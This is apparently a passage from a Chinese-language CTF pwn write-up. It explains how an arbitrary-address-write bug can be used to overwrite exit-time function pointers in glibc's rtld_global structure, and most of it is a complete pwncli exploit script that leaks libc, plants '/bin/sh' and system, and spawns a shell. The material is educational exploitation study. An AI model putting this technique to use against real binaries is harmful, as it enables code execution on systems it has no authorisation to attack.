总结
题目可以任意地址写任意值,但是没有退出,因此可以考虑劫持rtld_global
结构体中的一些函数指针。
- 利用
exit
函数的两个hook
,同时观察寄存器状态,构造system("/bin/sh")
拿shell
。
- 这里出现的
rtld_global
结构体,可以伪造,可以修改。比如在house of banana
中就能利用。远程中该结构体的低2
字节需要爆破一下。两个函数指针的偏移分别为0xf00
和0xf08
。
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def write(addr:int, content:(str, bytes)):
assert len(content) % 8 == 0, "len error!"
for i in range(0, len(content), 8):
p.sendlineafter("(q)uit\n", 'w')
p.sendlineafter("ptr: ", str(addr + i))
p.sendlineafter("val: ", str(u64(content[i:i+8])))
libc.address = int16((p.recvline()[6:-1]).decode()) - libc.sym['puts']
stack_addr = int16((p.recvline()[7:-1]).decode())
log_address("libc_base_addr", libc.address)
log_address("stack addr", stack_addr)
rtld_global_addr = libc.address + 0x619060
log_address("rtld_global_addr", rtld_global_addr)
write(rtld_global_addr+0x908, "/bin/sh\x00")
write(rtld_global_addr+0xf00, p64(libc.sym['system']))
p.sendlineafter("(q)uit\n", 'q')
p.interactive()
|
劫持效果如下:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli